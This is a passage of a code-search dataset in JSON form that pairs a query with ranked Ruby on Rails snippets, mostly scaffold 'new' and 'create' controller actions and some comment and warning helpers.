respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modull }\n end\n end", "title": "" }, { "docid": "26561b5b43c4913c3f1c6b6558c6a281", "score": "0.6551255", "text": "def new\n @newpart = Newpart.new\n @category = current_company.warehouses.where(:category => \"新件\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=> @newpart }\n end\n end", "title": "" }, { "docid": "f96f0d8ab710dde5117464b6ba8bfcab", "score": "0.6545249", "text": "def create\n @piece = Piece.new(piece_params)\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to (artifact_pieces_path(artifact_id: @piece.artifact_id)), notice: (t 'pieces.flash.created')}\n format.json { render json: @piece }\n else\n format.html { render :new }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c7c70f3e3ba6137face1259bedaa0ff", "score": "0.6543497", "text": "def new\n @perodization = Perodization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @perodization }\n end\n end", "title": "" }, { "docid": "44295962ff94c3c9e0096c57ec2b3176", "score": "0.6539738", "text": "def new\n @punt = Punt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @punt }\n end\n end", "title": "" }, { "docid": "5dd7a39619aeaab677f1f47bc9253fc7", "score": "0.65301025", "text": "def new\n @leftover = Leftover.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leftover }\n end\n end", "title": "" }, { "docid": "d8da86b798fd20129718b8fdadbebcd6", "score": "0.6528342", "text": "def new\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname){\"params=#{params.inspect}\"}\n\t\t@object_plm = Part.new(user: @current_user)\n\t\t@types = Typesobject.get_types(\"part\")\n\t\t@status = Statusobject.get_status(\"part\", 2)\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @object_plm }\n\t\tend\n\tend", "title": "" }, { "docid": "d4e9cc0aaa0e6c9cbf8497279e285bcd", "score": "0.652823", "text": "def create\n @masterpiece = Masterpiece.new(masterpiece_params)\n\n respond_to do |format|\n if @masterpiece.save\n format.html { redirect_to @masterpiece, notice: 'Masterpiece was successfully created.' }\n format.json { render :show, status: :created, location: @masterpiece }\n else\n format.html { render :new }\n format.json { render json: @masterpiece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de14ec66ff116d40d1c487ed5522a3a7", "score": "0.6527452", "text": "def new\n @major = Major.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "title": "" }, { "docid": "ae57387626ab068f4ef7562621f28a7a", "score": "0.6519277", "text": "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "title": "" }, { "docid": "ae57387626ab068f4ef7562621f28a7a", "score": "0.6519277", "text": "def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "title": "" }, { "docid": "b74813b223c8dccb3079eb5ea0f31bbf", "score": "0.6518699", "text": "def new\n @pack = Pack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pack }\n end\n end", "title": "" }, { "docid": "b74813b223c8dccb3079eb5ea0f31bbf", "score": "0.6518699", "text": "def new\n @pack = Pack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pack }\n end\n end", "title": "" }, { "docid": "2ae5144dddfa45e38d51e4abe317b07a", "score": "0.65177745", "text": "def new\n @page_section = Admin::PageSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_section }\n end\n end", "title": "" }, { "docid": "2d8d2c5c802538018d93c515ead4b804", "score": "0.65173644", "text": "def new\n @part_status = PartStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_status }\n end\n end", "title": "" }, { "docid": "b9935e033ef9b8f8d26cd87f12a160a4", "score": "0.6516555", "text": "def new\n @partido = Partido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partido }\n end\n end", "title": "" }, { "docid": "b9935e033ef9b8f8d26cd87f12a160a4", "score": "0.6516555", "text": "def new\n @partido = Partido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partido }\n end\n end", "title": "" }, { "docid": "d9b5273fa01b88dd5eaeafbbf8fc3a9d", "score": "0.6515296", "text": "def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end", "title": "" }, { "docid": "99ea754d5d910e73ad03238a716c82ad", "score": "0.6507584", "text": "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part }\n end\n end", "title": "" }, { "docid": "99ea754d5d910e73ad03238a716c82ad", "score": "0.6507584", "text": "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part }\n end\n end", "title": "" }, { "docid": "0dbafc776524e603dca2578f8abfafb7", "score": "0.65072733", "text": "def new\n @artcile = Article.new\n @artcile.build_notice_content\n\n @script='boards/new'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @artcile }\n end\n end", "title": "" }, { "docid": "de2a592797a4792e1d1f46cc38bdf7e5", "score": "0.65041864", "text": "def new\n @construction_type = ConstructionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_type }\n end\n end", "title": "" }, { "docid": "663dde6216dd4a1aab56c01173e343ee", "score": "0.6501491", "text": "def new\n @modulo = Modulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modulo }\n end\n end", "title": "" }, { "docid": "8647ee4413a69f52ea148b2d4fe6051c", "score": "0.6495899", "text": "def new\n @clone = Clone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clone }\n end\n end", "title": "" }, { "docid": "32ca839523eec4bba4034f8486bfc32e", "score": "0.6470336", "text": "def new\n @pilt = Pilt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pilt }\n end\n end", "title": "" }, { "docid": "1693faac7b9b2f66b1fea3303b6c231e", "score": "0.6467085", "text": "def new\n\t\t@product = Product.new\n\t\t@parts = Part.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @product }\n\t\tend\n\tend", "title": "" }, { "docid": "e13993b46a69f9ba0952eecd8908b504", "score": "0.6462396", "text": "def new\n @pesticide = Pesticide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pesticide }\n end\n end", "title": "" }, { "docid": "4d0a25e8fb3bb6d4940adbb3370f9c48", "score": "0.64611006", "text": "def new\n @division_rep = DivisionRep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @division_rep }\n end\n end", "title": "" }, { "docid": "3fcc9981c150d8df854b3b3ada73622d", "score": "0.64590406", "text": "def new\n @cut = Cut.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cut }\n end\n end", "title": "" }, { "docid": "112803d434eea10bec048d41277d7416", "score": "0.6458822", "text": "def new\n @crest = Crest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crest }\n end\n end", "title": "" }, { "docid": "a1e75f3e172e6f3ee83bf557dd876936", "score": "0.64563656", "text": "def new\n @pack = Pack.new\n\n render json: @pack\n end", "title": "" }, { "docid": "57d7e67fb672723295b409dad7b46d36", "score": "0.645576", "text": "def new\n @prepod = Prepod.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prepod }\n end\n end", "title": "" }, { "docid": "3c9d4d040419b31d9f69dbdec229a819", "score": "0.64539814", "text": "def new\n @copy = Copy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @copy }\n end\n end", "title": "" }, { "docid": "4a0787bc4082a38ae8f306ab072a07db", "score": "0.64523673", "text": "def new\n @cheer_up = CheerUp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cheer_up }\n end\n end", "title": "" }, { "docid": "06989be190fae7655bb57f975b928c41", "score": "0.64516944", "text": "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "title": "" }, { "docid": "55d3b6fccfd88a5ec0294ea56f0f1e5b", "score": "0.6450868", "text": "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "title": "" }, { "docid": "2f9c54140f7a6c39be9db235aea7d0b8", "score": "0.6450677", "text": "def new\n @equipo_partido = EquipoPartido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo_partido }\n end\n end", "title": "" }, { "docid": "e15d6b36c8245d517cbb861c0f50a4e8", "score": "0.6446677", "text": "def new\n @crewmanship = @mission.crewmanships.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crewmanship }\n end\n end", "title": "" }, { "docid": "2ca1193e869058e1978dab4a3499e5d4", "score": "0.6446391", "text": "def new\n @molecule = Molecule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @molecule }\n end\n end", "title": "" }, { "docid": "9b6cb9f09c18de0586543443fe9089af", "score": "0.64436424", "text": "def new\n @prefecture = Prefecture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prefecture }\n end\n end", "title": "" }, { "docid": "8e720517b2be41bb86455b0fe7aef14c", "score": "0.6442666", "text": "def new\n @unite = Unite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unite }\n end\n end", "title": "" }, { "docid": "73bd16ff3054bf9cf88be482c5902af5", "score": "0.64415556", "text": "def new\n @pick = Pick.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pick }\n end\n end", "title": "" }, { "docid": "2139045ec4eab9fb4af270fd1b8137d1", "score": "0.64372456", "text": "def new\n @newspaper = Newspaper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspaper }\n end\n end", "title": "" }, { "docid": "9e5cecd3bd7395efca69d80da1a869fd", "score": "0.643355", "text": "def new\n @pack_packing = PackPacking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pack_packing }\n end\n end", "title": "" }, { "docid": "28377e1501d023bdfc7ce12dc32f470d", "score": "0.6428336", "text": "def new\n @persion = Persion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persion }\n end\n end", "title": "" }, { "docid": "2b1d98cd97769e4087f23bb2c20747ea", "score": "0.64283097", "text": "def new\n @part = Part.new\n @part_types = PartType.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part }\n end\n end", "title": "" }, { "docid": "fc7e42745bd88d648c099ba0a1c592bf", "score": "0.6427232", "text": "def new\n @division = @project.divisions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @division }\n end\n end", "title": "" }, { "docid": "eaaffb6a6a9a438ba2256a469ebc4793", "score": "0.6426447", "text": "def new\n @course_pack = CoursePack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_pack }\n end\n end", "title": "" }, { "docid": "7a1190f62fb618719c3db52da9c85676", "score": "0.6426354", "text": "def new\n @lunch = Lunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lunch }\n end\n end", "title": "" }, { "docid": "0b75325e9bcfba0e7d0aae5d41f21477", "score": "0.64232993", "text": "def create\n @piece_type = PieceType.new(piece_type_params)\n\n respond_to do |format|\n if @piece_type.save\n format.html { redirect_to @piece_type, notice: 'Piece type was successfully created.' }\n format.json { render :show, status: :created, location: @piece_type }\n else\n format.html { render :new }\n format.json { render json: @piece_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8b38c0ac59f54f572b85141991744ae", "score": "0.6422367", "text": "def new\n @pleading = Pleading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pleading }\n end\n end", "title": "" }, { "docid": "f180c1f79c17744204eb2494f4b9cbbb", "score": "0.6409811", "text": "def new\n @admin_house = House.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_house }\n end\n end", "title": "" }, { "docid": "7e6cfb9f0befc407521a57626c131790", "score": "0.64078206", "text": "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end", "title": "" }, { "docid": "7e6cfb9f0befc407521a57626c131790", "score": "0.64078206", "text": "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end", "title": "" }, { "docid": "31c8c5a421b4dbecf26238b1bf18fb49", "score": "0.64059675", "text": "def new\n @newse = Newse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newse }\n end\n end", "title": "" }, { "docid": "ff2075c617bb9d6bd1096da3420da545", "score": "0.6405573", "text": "def new\n @cup = Cup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cup }\n end\n end", "title": "" }, { "docid": "6947f2b3a96c395c1e1eebec2d6bf6a1", "score": "0.64053196", "text": "def new\n @mile = Mile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mile }\n end\n end", "title": "" }, { "docid": "407f28b6c3ebe2174765df55e92cc727", "score": "0.64051944", "text": "def new\n @pile_group = PileGroup.new\n @corpStations = getCorpOffices\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pile_group }\n end\n end", "title": "" }, { "docid": "625a08719428e7a8c5f0de950dd4c482", "score": "0.64050615", "text": "def create\n @uniform_piece_type = UniformPieceType.new(uniform_piece_type_params)\n\n respond_to do |format|\n if @uniform_piece_type.save\n format.html { redirect_to @uniform_piece_type, notice: 'Uniform piece type was successfully created.' }\n format.json { render :show, status: :created, location: @uniform_piece_type }\n else\n format.html { render :new }\n format.json { render json: @uniform_piece_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "230b00bfd4a59f49b4ddab34fca04c1e", "score": "0.6403694", "text": "def new\n @contributo = Contributo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contributo }\n end\n end", "title": "" } ]
afbc56ddc1a611336503a4de64a688ad
Send comment with danger's warn or fail method.
[ { "docid": "89016aa75b970bdd3d350a79d6a725d9", "score": "0.6922959", "text": "def send_comment(results)\n dir = \"#{Dir.pwd}/\"\n filename = results['name'].gsub(dir, '')\n method = results['ruleSeverity'] == 'ERROR' ? 'fail' : 'warn'\n line = results['endPosition']['line'] + 1\n send(method, results['failure'], file: filename, line: line)\n end", "title": "" } ]
[ { "docid": "947b36f5ed06ceb2eb8bfa0c3c566a63", "score": "0.6888892", "text": "def comment(username, msg)\n raise \"unimplemented!\"\n end", "title": "" }, { "docid": "cde39bb84233144ac32e19508f9e9b6b", "score": "0.65988743", "text": "def notify_comment_target\n send_notification({:type=>'CommentNotification', :comment=>self}) unless dont_notify\n end", "title": "" }, { "docid": "c1b5906416bc8a1888a4e13f48290be5", "score": "0.65411645", "text": "def warn(message); end", "title": "" }, { "docid": "9f8453036a87b5e118a216b6fc3b7c77", "score": "0.63377047", "text": "def leave_a_comment thing_id, text\n Module.nesting[1].logger.warn \"leaving a comment on '#{thing_id}'\"\n json(:post, \"/api/comment\",\n thing_id: thing_id,\n text: text,\n ).tap do |result|\n fail result[\"json\"][\"errors\"].to_s unless result[\"json\"][\"errors\"].empty?\n end\n end", "title": "" }, { "docid": "17e9c37d14b5bca5dd54f9c59e29ddc8", "score": "0.6295952", "text": "def warn(msg); end", "title": "" }, { "docid": "65d3084a477e9acb03fe50594c43a329", "score": "0.62537247", "text": "def note_warning(message)\n raise NotImplementedError\n end", "title": "" }, { "docid": "5ee805a0efff4b929b6b6cc58e412e7b", "score": "0.61997145", "text": "def warn msg\n notify msg\n end", "title": "" }, { "docid": "504379f9e36e69e5a94e6e7bfca0ec63", "score": "0.61989486", "text": "def override_failsafe_warn\n Chef::Log.warn('You have chose to use an action that is untested / partially implemented.')\n Chef::Log.warn('Specifically, the driver will send the appropriate POST request to the Flow API')\n Chef::Log.warn('But the driver will not verify that the action ran successfully, or ran at all.')\n Chef::Log.warn('Moreover, the driver will not wait for the action complete, as in, the action will')\n Chef::Log.warn('run asynchronously, meaning dependent actions after this one may fail.')\n Chef::Log.warn('Use at your own risk. Please report any issues.')\n end", "title": "" }, { "docid": "1d6da141361bbbd806f760233810b29c", "score": "0.6163284", "text": "def warn\n end", "title": "" }, { "docid": "c1686bb013bb8cd9665e0bb9e92a1c2e", "score": "0.6139666", "text": "def warning\n end", "title": "" }, { "docid": "0188739c39f1189d8bef353754f51ae7", "score": "0.61330813", "text": "def warned; end", "title": "" }, { "docid": "ee28f0d5549582fcc0b630f62958feed", "score": "0.6116366", "text": "def warning?; end", "title": "" }, { "docid": "fd73803d95918bf9b05a22292c46002f", "score": "0.6084376", "text": "def rude_comment\n @res.write GO_AWAY_COMMENT\n end", "title": "" }, { "docid": "fd73803d95918bf9b05a22292c46002f", "score": "0.6084376", "text": "def rude_comment\n @res.write GO_AWAY_COMMENT\n end", "title": "" }, { "docid": "fd73803d95918bf9b05a22292c46002f", "score": "0.6084376", "text": "def rude_comment\n @res.write GO_AWAY_COMMENT\n end", "title": "" }, { "docid": "ef5ce46ef4e1478dcfd045644baf0f0c", "score": "0.60840756", "text": "def please_do_not_reply_message(errata_specific=false)\n \"(Please don't reply directly to this email#{\". Any additional comments should be\nmade in ET via the 'Add Comment' form for this advisory\" if errata_specific}).\"\n end", "title": "" }, { "docid": "921183a48517dacf12dd9a6501c92bed", "score": "0.6076004", "text": "def comment(text)\n end", "title": "" }, { "docid": "a24c3b59aca7cc8d856a72d3b959adf8", "score": "0.6067562", "text": "def comment(comment)\r\n end", "title": "" }, { "docid": "1d182d64288945f3af94aca3403f7b8f", "score": "0.60413134", "text": "def comment comment\n end", "title": "" }, { "docid": "8c074b2f15f88094e3de248ac0bf67db", "score": "0.60296226", "text": "def warning_message; end", "title": "" }, { "docid": "8211d86b02ed69e9cfee1783477e71e9", "score": "0.60172164", "text": "def trigger_comment(comment) end", "title": "" }, { "docid": "fb0888230be4dcffa40c5214c4734a7b", "score": "0.6016821", "text": "def octokit_warn(*message); end", "title": "" }, { "docid": "ecc2f48f8134ee2a52c26a7abdadff93", "score": "0.6009761", "text": "def update\n @comment = Comment.find(params[:id])\n # FIXME: If updating comment.is_spam = false, should I notify Akismet 'not spam'?\n\n respond_to do |format|\n if @comment.update_attributes(params[:comment])\n flash[:notice] = 'Comment was successfully updated.'\n format.html { redirect_to comments_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @comment.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "2802df1dd448afc3c357e4dd91c7b8ce", "score": "0.59858984", "text": "def comment; end", "title": "" }, { "docid": "3c5a449480e9a77826e7d075ce24dfaa", "score": "0.598536", "text": "def mod_comment_notification(user, other, comment)\n @user = user\n @other = other\n @comment = comment\n name = other.nil? ? \"A guest user\" : other.name\n mail(:to => user.email, :subject => \"#{name} made a comment on your story at Ensemble\")\n end", "title": "" }, { "docid": "d2fe29f07f5377a9edf5e8a2fd711e1c", "score": "0.59571004", "text": "def comment(text)\n @errors << ScanMessage.new(ScanMessage::ERROR_COMMENT_REMOVED,@tag,text)\n end", "title": "" }, { "docid": "115a30b5da4d291f511854eaae7c6d84", "score": "0.59440875", "text": "def report_warning(warning)\n req = Packet.pack_request(:work_warning, \"#{@handle}\\0#{warning}\")\n @connection.send_update(req)\n self\n end", "title": "" }, { "docid": "9de3051cf63817602c8cf56fa1005b33", "score": "0.59417754", "text": "def notify_comment\n @greeting = 'dasdasasdasd'\n mail(:to =>'withvictor@gmail.com', :subject => \"New Comment\")\n end", "title": "" }, { "docid": "07be24ecbdc96902522aa1969a06d2a2", "score": "0.5914802", "text": "def warning(string)\n end", "title": "" }, { "docid": "06bca90a7f3fc08a1de42304e5124b1c", "score": "0.591266", "text": "def warn(msg)\n write msg, :warn\n end", "title": "" }, { "docid": "19adfb7f2d0117d725405b1e3704ab5f", "score": "0.59074223", "text": "def warning msg\n @warning << msg\n end", "title": "" }, { "docid": "715a80c4a582b4b4645c9ebf0ef3d4ea", "score": "0.5906551", "text": "def report_comment(params)\n data = self.class.post(\"/report_comment\", { body: post_params(params) })\n Yify::Response.new(data, :api_response)\n end", "title": "" }, { "docid": "8ec986b6f300240d5bd89f771185b895", "score": "0.5906058", "text": "def warn msg\n @lob.warn \"Warning []: #{msg}\"\n end", "title": "" }, { "docid": "22a7320bb748854b412003ed3a493bae", "score": "0.58915687", "text": "def warn(description); logger.warn(description); end", "title": "" }, { "docid": "2b263fea99a90febc36a92c67d980459", "score": "0.5889351", "text": "def warn(message)\n queue_or_send_message('warn', message)\n end", "title": "" }, { "docid": "e09591bf14486bc86b49e43773f232d6", "score": "0.58882666", "text": "def report_warning(warning)\n @client.send :work_warning, \"#{@handle}\\0#{warning}\"\n self\n end", "title": "" }, { "docid": "306df6be07c619cc552ccefd89a95fbd", "score": "0.58814913", "text": "def alert_warning(statement, question=nil)\n @errs.puts \"WARNING: #{statement}\"\n ask(question) if question \n end", "title": "" }, { "docid": "a654fa5a8de8164e080ef93e782d2f7d", "score": "0.587397", "text": "def user_comment!(content, response=nil)\n return if content.blank?\n raise_unless_logged_in\n support_response = false\n private_response = false\n if response.nil?\n response = User.current_user.support_volunteer? ? \"official\" : \"unofficial\"\n end\n case response\n when \"official\"\n raise_unless_volunteer\n support_response = true\n when \"private\"\n raise_unless_volunteer\n private_response = true\n support_response = true\n when \"unofficial\"\n raise_unless_user_owner if (self.private? || !self.unowned?)\n end\n comment!(content, support_response, private_response)\n end", "title": "" }, { "docid": "235f0b82563d6bac18f2bd329ee0741f", "score": "0.5866109", "text": "def comment(*) end", "title": "" }, { "docid": "de31334d37e1870177818e0e71e622cb", "score": "0.58574265", "text": "def losers_comments\r\n \"#{name} says 'How could I have missed this?'\"\r\n end", "title": "" }, { "docid": "a7265511ac883d0da831bdcd4c580267", "score": "0.58503604", "text": "def comment(message)\n puts \"# #{message}\"\n end", "title": "" }, { "docid": "417db0cf29aa0e58f7c8246192785c06", "score": "0.5845791", "text": "def comment\n\n end", "title": "" }, { "docid": "d3e9437a511ddbe0219a324843d9ebd9", "score": "0.58390605", "text": "def comment(message)\n self << \"/* #{message} */\"\n end", "title": "" }, { "docid": "8504ff017483bbdf86dc6beb1b746efe", "score": "0.5835632", "text": "def issue_comment(repo, number, options = T.unsafe(nil)); end", "title": "" }, { "docid": "3f7e025fc88f35415354fb034d2ce3e1", "score": "0.5817296", "text": "def add_comment(diary, comment)\n @diary = diary\n @comment = comment\n mail to: diary.user.email do |format|\n format.html\n format.text\n end\n end", "title": "" }, { "docid": "adb8754d565385bd59f505f8495e12a8", "score": "0.5813655", "text": "def comment(comment, opt = {})\n comment = {:text => comment, :action => 'Correspond'}.merge(opt)\n\n uri = \"#{self.class.connection.server}/REST/1.0/ticket/#{self.id}/comment\"\n payload = comment.to_content_format\n resp = self.class.connection.post(uri, :content => payload)\n resp = resp.split(\"\\n\")\n raise TicketSystemError, \"Ticket Comment Failed\" unless resp.first.include?(\"200\")\n !!resp[2].match(/^# Message recorded/)\n end", "title": "" }, { "docid": "96ac5766d744a3f086017ad045e17618", "score": "0.5799984", "text": "def warning(msg); output(:warning, msg); end", "title": "" }, { "docid": "0b6ff07f82b6b9e9ad32f1ff1f8b2e2a", "score": "0.57969874", "text": "def warning\n CustomerMailer.warning\n end", "title": "" }, { "docid": "1a3e817d5f660107332675631e8d7a40", "score": "0.57881564", "text": "def on_comment(value); end", "title": "" }, { "docid": "325fe622edff318e828740da0d01c583", "score": "0.57837486", "text": "def leave_a_comment thing_id, text\n puts \"leaving a comment on '#{thing_id}'\"\n json(:post, \"/api/comment\",\n thing_id: thing_id,\n text: text,\n ).tap do |result|\n fail result[\"json\"][\"errors\"].to_s unless result[\"json\"][\"errors\"].empty?\n end\n end", "title": "" }, { "docid": "292029f95c838b3fe7b503b8bd1678f8", "score": "0.5778791", "text": "def comment(comment, opt = {})\n reply('Comment', comment, opt)\n end", "title": "" }, { "docid": "1866166b8fbcee60cc6a8161227e9176", "score": "0.57761395", "text": "def warn_bug( description )\n unless $nyi_warnings_already_given.member?(description)\n $stderr.puts \"BUG: \" + description\n $nyi_warnings_already_given[description] = true\n end\n end", "title": "" }, { "docid": "a1e35b2953ac1e90e52343951f594ce9", "score": "0.5774553", "text": "def warn_for_todos\n call_method_for_todos(:warn)\n end", "title": "" }, { "docid": "1c805bc7ab1b1c75eda01e2b1bb72bd9", "score": "0.57714456", "text": "def warning(msg)\n banner(\"Warning: #{msg}\", YELLOW)\n end", "title": "" }, { "docid": "75bc72b934573970f87c8411fd17ea7b", "score": "0.57671267", "text": "def allow_comments?; end", "title": "" }, { "docid": "dc26b19e4f2fed1212cb8267868e1bfc", "score": "0.57643276", "text": "def comment(text); end", "title": "" }, { "docid": "9231e39179b0c8d80a89d6eef5b28545", "score": "0.576067", "text": "def can_comment?() false end", "title": "" }, { "docid": "9231e39179b0c8d80a89d6eef5b28545", "score": "0.576067", "text": "def can_comment?() false end", "title": "" }, { "docid": "935eb1ad3c1678ccd6786d8e512e0956", "score": "0.57546836", "text": "def write_comment(comment)\n end", "title": "" }, { "docid": "8480e32ccc7e240f1e38fbdede761bd7", "score": "0.5753813", "text": "def comment!(content, response=nil, code=nil)\n return if content.blank?\n raise \"not open for comments\" unless self.rfc?\n raise_unless_logged_in_or_guest(code)\n support_response = false\n private_response = false\n if code\n response = \"unofficial\"\n elsif response.nil?\n response = User.current_user.support_volunteer? ? \"official\" : \"unofficial\"\n end\n case response\n when \"official\"\n raise_unless_volunteer\n support_response = true\n when \"private\"\n raise_unless_volunteer\n private_response = true\n support_response = true\n end\n detail = self.faq_details.create!(:content => content,\n :support_identity_id => User.current_user.try(:support_identity).try(:id),\n :support_response => support_response,\n :system_log => false,\n :private => private_response)\n self.send_update_notifications(private_response)\n return detail\n end", "title": "" }, { "docid": "eb93a3f5292760a750e2948983742b0a", "score": "0.5746019", "text": "def notice; end", "title": "" }, { "docid": "75147fb620f5fc693358ec8086f9f0c7", "score": "0.5741404", "text": "def send_comment_to_server(comment)\n HTTP.post(params.url, payload: comment) do |response|\n puts \"failed with status #{response.status_code}\" unless response.ok?\n end\n comment\n end", "title": "" }, { "docid": "efed06f31a1dccf20224c7b41e9dfdea", "score": "0.5740942", "text": "def warn(message)\n record('warn', message)\n end", "title": "" }, { "docid": "1c90b2c65132626496ca8d243b3ec34f", "score": "0.5730352", "text": "def comment_alert_message(comment, article, category)\n @comment = comment\n @article = article\n @category = category\n \n mail to: \"darkzeratul64@gmail.com\",\n cc: \"dark_zeratul64@hotmail.com\",\n subject: \"A new comment has been added\",\n content_type: \"text/html\" do |format|\n format.html\n end\n end", "title": "" }, { "docid": "8ea3ea7fbfb4f63b9e2870c06307cc1c", "score": "0.5729409", "text": "def report_with_type(report_danger, message, sticky)\n if report_danger\n fail(message, sticky: sticky)\n else\n warn(message, sticky: sticky)\n end\n end", "title": "" }, { "docid": "acf51620f645ca7f9d79abf69166003b", "score": "0.5727231", "text": "def notify(message)\n logger.warn \"#{message}\"\n end", "title": "" }, { "docid": "9ea332d2c8df1776072a1ddad79f9106", "score": "0.57269686", "text": "def comment(comment, opts = T.unsafe(nil)); end", "title": "" }, { "docid": "391ecf600694bf79acdf46e789f492a3", "score": "0.571334", "text": "def comment(comment)\n define_method(\"comment\"){ return comment }\n end", "title": "" }, { "docid": "10a6cbebc5069fb989fca70274c3cbd2", "score": "0.5706714", "text": "def deprecation_reason=(text); end", "title": "" }, { "docid": "2545b0e09278fbd137d3d3533a692dbc", "score": "0.5697339", "text": "def check_prevent_commenting\n errors.add(:base, \"You were blocked for comment until #{I18n.l(user.prevent_commenting_until, format: :short)}\") if user.prevent_commenting?\n end", "title": "" }, { "docid": "e238d167a2d5bb3e44063ff3863b8bb4", "score": "0.56933916", "text": "def failOrWarn(text, pass_build)\n fail text unless pass_build\n warn \"[KNOWN 🤫] #{text}\" if pass_build\nend", "title": "" }, { "docid": 